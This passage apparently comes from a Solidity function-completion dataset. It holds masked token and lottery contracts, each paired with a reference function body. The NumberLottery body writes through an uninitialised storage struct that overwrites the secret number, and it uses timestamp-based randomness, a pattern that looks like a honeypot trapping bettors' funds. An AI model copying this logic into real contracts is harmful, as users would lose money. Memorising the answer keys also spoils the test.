_spender, uint256 _amount) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract Token { string public symbol = ""; string public name = ""; uint8 public constant decimals = 18; uint256 _totalSupply = 0; address owner = 0; bool setupDone = false; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; function Token(address adr) { owner = adr; } function MakeMyToken(string tokenName, string tokenSymbol, uint256 tokenSupply) { if (msg.sender == owner && setupDone == false) { symbol = tokenSymbol; name = tokenName; _totalSupply = tokenSupply * 1000000000000000000; balances[owner] = _totalSupply; setupDone = true; } } function totalSupply() constant returns (uint256 totalSupply) { return _totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } <FILL_FUNCTION> function transferFrom( address _from, address _to, uint256 _amount ) returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } function approve(address _spender, uint256 _amount) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; }
function transfer(address _to, uint256 _amount) returns (bool success)
function transfer(address _to, uint256 _amount) returns (bool success)
38608
HaimaruInu
_getTValues
contract HaimaruInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Haimaru Inu"; string private constant _symbol = "HAIM"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x949170Db39B7c0E01cf51DC9b295AEeC7093758c); _feeAddrWallet2 = payable(0x949170Db39B7c0E01cf51DC9b295AEeC7093758c); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xaEA14184Fd3e743B5f31F0e3045250d158D0Aa04), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 1; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 1; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {<FILL_FUNCTION_BODY> } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract HaimaruInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Haimaru Inu"; string private constant _symbol = "HAIM"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x949170Db39B7c0E01cf51DC9b295AEeC7093758c); _feeAddrWallet2 = payable(0x949170Db39B7c0E01cf51DC9b295AEeC7093758c); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xaEA14184Fd3e743B5f31F0e3045250d158D0Aa04), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 1; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 1; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } <FILL_FUNCTION> function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam);
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256)
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256)
33947
HI
transfer
contract HI is ERC20,PoSTokenStandard,Ownable { using SafeMath for uint256; string public name = "Hi friends Coin"; string public symbol = "HI"; uint public decimals = 18; uint public chainStartTime; //chain start time uint public chainStartBlockNumber; //chain start block number uint public stakeStartTime; //stake start time uint public stakeMinAge = 3 days; // minimum age for coin age: 3D uint public stakeMaxAge = 90 days; // stake age of full weight: 90D uint public maxMintProofOfStake = 10**17; // default 10% annual interest uint public totalSupply; uint public maxTotalSupply; uint public totalInitialSupply; struct transferInStruct{ uint128 amount; uint64 time; } mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; mapping(address => transferInStruct[]) transferIns; event Burn(address indexed burner, uint256 value); /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } modifier canPoSMint() { require(totalSupply < maxTotalSupply); _; } function PoSToken() { maxTotalSupply = 1998000000000000000000000000000; totalInitialSupply = 999000000000000000000000000000; chainStartTime = now; chainStartBlockNumber = block.number; balances[msg.sender] = totalInitialSupply; totalSupply = totalInitialSupply; } function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) {<FILL_FUNCTION_BODY> } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); if(transferIns[_from].length > 0) delete transferIns[_from]; uint64 _now = uint64(now); transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now)); transferIns[_to].push(transferInStruct(uint128(_value),_now)); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function mint() canPoSMint returns (bool) { if(balances[msg.sender] <= 0) return false; if(transferIns[msg.sender].length <= 0) return false; uint reward = getProofOfStakeReward(msg.sender); if(reward <= 0) return false; totalSupply = totalSupply.add(reward); balances[msg.sender] = balances[msg.sender].add(reward); delete transferIns[msg.sender]; transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now))); Mint(msg.sender, reward); return true; } function getBlockNumber() returns (uint blockNumber) { blockNumber = block.number.sub(chainStartBlockNumber); } function coinAge() constant returns (uint myCoinAge) { myCoinAge = getCoinAge(msg.sender,now); } function annualInterest() constant returns(uint interest) { uint _now = now; interest = maxMintProofOfStake; if((_now.sub(stakeStartTime)).div(1 years) == 0) { interest = (770 * maxMintProofOfStake).div(100); } else if((_now.sub(stakeStartTime)).div(1 years) == 1){ interest = (435 * maxMintProofOfStake).div(100); } } function getProofOfStakeReward(address _address) internal returns (uint) { require( (now >= stakeStartTime) && (stakeStartTime > 0) ); uint _now = now; uint _coinAge = getCoinAge(_address, _now); if(_coinAge <= 0) return 0; uint interest = maxMintProofOfStake; // Due to the high interest rate for the first two years, compounding should be taken into account. // Effective annual interest rate = (1 + (nominal rate / number of compounding periods)) ^ (number of compounding periods) - 1 if((_now.sub(stakeStartTime)).div(1 years) == 0) { // 1st year effective annual interest rate is 100% when we select the stakeMaxAge (90 days) as the compounding period. interest = (770 * maxMintProofOfStake).div(100); } else if((_now.sub(stakeStartTime)).div(1 years) == 1){ // 2nd year effective annual interest rate is 50% interest = (435 * maxMintProofOfStake).div(100); } return (_coinAge * interest).div(365 * (10**decimals)); } function getCoinAge(address _address, uint _now) internal returns (uint _coinAge) { if(transferIns[_address].length <= 0) return 0; for (uint i = 0; i < transferIns[_address].length; i++){ if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue; uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time)); if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge; _coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days)); } } function ownerSetStakeStartTime(uint timestamp) onlyOwner { require((stakeStartTime <= 0) && (timestamp >= chainStartTime)); stakeStartTime = timestamp; } function ownerBurnToken(uint _value) onlyOwner { require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); delete transferIns[msg.sender]; transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now))); totalSupply = totalSupply.sub(_value); totalInitialSupply = totalInitialSupply.sub(_value); maxTotalSupply = maxTotalSupply.sub(_value*10); Burn(msg.sender, _value); } /* Batch token transfer. Used by contract creator to distribute initial tokens to holders */ function batchTransfer(address[] _recipients, uint[] _values) onlyOwner returns (bool) { require( _recipients.length > 0 && _recipients.length == _values.length); uint total = 0; for(uint i = 0; i < _values.length; i++){ total = total.add(_values[i]); } require(total <= balances[msg.sender]); uint64 _now = uint64(now); for(uint j = 0; j < _recipients.length; j++){ balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]); transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now)); Transfer(msg.sender, _recipients[j], _values[j]); } balances[msg.sender] = balances[msg.sender].sub(total); if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender]; if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now)); return true; } }
contract HI is ERC20,PoSTokenStandard,Ownable { using SafeMath for uint256; string public name = "Hi friends Coin"; string public symbol = "HI"; uint public decimals = 18; uint public chainStartTime; //chain start time uint public chainStartBlockNumber; //chain start block number uint public stakeStartTime; //stake start time uint public stakeMinAge = 3 days; // minimum age for coin age: 3D uint public stakeMaxAge = 90 days; // stake age of full weight: 90D uint public maxMintProofOfStake = 10**17; // default 10% annual interest uint public totalSupply; uint public maxTotalSupply; uint public totalInitialSupply; struct transferInStruct{ uint128 amount; uint64 time; } mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; mapping(address => transferInStruct[]) transferIns; event Burn(address indexed burner, uint256 value); /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } modifier canPoSMint() { require(totalSupply < maxTotalSupply); _; } function PoSToken() { maxTotalSupply = 1998000000000000000000000000000; totalInitialSupply = 999000000000000000000000000000; chainStartTime = now; chainStartBlockNumber = block.number; balances[msg.sender] = totalInitialSupply; totalSupply = totalInitialSupply; } <FILL_FUNCTION> function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); if(transferIns[_from].length > 0) delete transferIns[_from]; uint64 _now = uint64(now); transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now)); transferIns[_to].push(transferInStruct(uint128(_value),_now)); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function mint() canPoSMint returns (bool) { if(balances[msg.sender] <= 0) return false; if(transferIns[msg.sender].length <= 0) return false; uint reward = getProofOfStakeReward(msg.sender); if(reward <= 0) return false; totalSupply = totalSupply.add(reward); balances[msg.sender] = balances[msg.sender].add(reward); delete transferIns[msg.sender]; transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now))); Mint(msg.sender, reward); return true; } function getBlockNumber() returns (uint blockNumber) { blockNumber = block.number.sub(chainStartBlockNumber); } function coinAge() constant returns (uint myCoinAge) { myCoinAge = getCoinAge(msg.sender,now); } function annualInterest() constant returns(uint interest) { uint _now = now; interest = maxMintProofOfStake; if((_now.sub(stakeStartTime)).div(1 years) == 0) { interest = (770 * maxMintProofOfStake).div(100); } else if((_now.sub(stakeStartTime)).div(1 years) == 1){ interest = (435 * maxMintProofOfStake).div(100); } } function getProofOfStakeReward(address _address) internal returns (uint) { require( (now >= stakeStartTime) && (stakeStartTime > 0) ); uint _now = now; uint _coinAge = getCoinAge(_address, _now); if(_coinAge <= 0) return 0; uint interest = maxMintProofOfStake; // Due to the high interest rate for the first two years, compounding should be taken into account. // Effective annual interest rate = (1 + (nominal rate / number of compounding periods)) ^ (number of compounding periods) - 1 if((_now.sub(stakeStartTime)).div(1 years) == 0) { // 1st year effective annual interest rate is 100% when we select the stakeMaxAge (90 days) as the compounding period. interest = (770 * maxMintProofOfStake).div(100); } else if((_now.sub(stakeStartTime)).div(1 years) == 1){ // 2nd year effective annual interest rate is 50% interest = (435 * maxMintProofOfStake).div(100); } return (_coinAge * interest).div(365 * (10**decimals)); } function getCoinAge(address _address, uint _now) internal returns (uint _coinAge) { if(transferIns[_address].length <= 0) return 0; for (uint i = 0; i < transferIns[_address].length; i++){ if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue; uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time)); if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge; _coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days)); } } function ownerSetStakeStartTime(uint timestamp) onlyOwner { require((stakeStartTime <= 0) && (timestamp >= chainStartTime)); stakeStartTime = timestamp; } function ownerBurnToken(uint _value) onlyOwner { require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); delete transferIns[msg.sender]; transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now))); totalSupply = totalSupply.sub(_value); totalInitialSupply = totalInitialSupply.sub(_value); maxTotalSupply = maxTotalSupply.sub(_value*10); Burn(msg.sender, _value); } /* Batch token transfer. Used by contract creator to distribute initial tokens to holders */ function batchTransfer(address[] _recipients, uint[] _values) onlyOwner returns (bool) { require( _recipients.length > 0 && _recipients.length == _values.length); uint total = 0; for(uint i = 0; i < _values.length; i++){ total = total.add(_values[i]); } require(total <= balances[msg.sender]); uint64 _now = uint64(now); for(uint j = 0; j < _recipients.length; j++){ balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]); transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now)); Transfer(msg.sender, _recipients[j], _values[j]); } balances[msg.sender] = balances[msg.sender].sub(total); if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender]; if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now)); return true; } }
if(msg.sender == _to) return mint(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender]; uint64 _now = uint64(now); transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now)); transferIns[_to].push(transferInStruct(uint128(_value),_now)); return true;
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool)
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool)
38189
NumberLottery
StartGame
contract NumberLottery { // creates random number between 1 - 10 on contract creation uint256 private randomNumber = uint256( keccak256(now) ) % 10 + 1; uint256 public prizeFund; uint256 public minBet = 0.1 ether; address owner = msg.sender; struct GameHistory { address player; uint256 number; } GameHistory[] public log; modifier onlyOwner() { require(msg.sender == owner); _; } // 0.1 ether is a pretty good bet amount but if price changes, this will be useful function changeMinBet(uint256 _newMinBet) external onlyOwner { minBet = _newMinBet; } function StartGame(uint256 _number) public payable {<FILL_FUNCTION_BODY> } function withdaw(uint256 _am) public onlyOwner { owner.transfer(_am); } function() public payable { } }
contract NumberLottery { // creates random number between 1 - 10 on contract creation uint256 private randomNumber = uint256( keccak256(now) ) % 10 + 1; uint256 public prizeFund; uint256 public minBet = 0.1 ether; address owner = msg.sender; struct GameHistory { address player; uint256 number; } GameHistory[] public log; modifier onlyOwner() { require(msg.sender == owner); _; } // 0.1 ether is a pretty good bet amount but if price changes, this will be useful function changeMinBet(uint256 _newMinBet) external onlyOwner { minBet = _newMinBet; } <FILL_FUNCTION> function withdaw(uint256 _am) public onlyOwner { owner.transfer(_am); } function() public payable { } }
if(msg.value >= minBet && _number <= 10) { GameHistory gameHistory; gameHistory.player = msg.sender; gameHistory.number = _number; log.push(gameHistory); // if player guesses correctly, transfer contract balance // else the player's bet is automatically added to the reward / contract balance if (_number == randomNumber) { msg.sender.transfer(this.balance); } randomNumber = uint256( keccak256(now) ) % 10 + 1; prizeFund = this.balance; }
function StartGame(uint256 _number) public payable
function StartGame(uint256 _number) public payable
21853
SABERHERO
_transferStandard
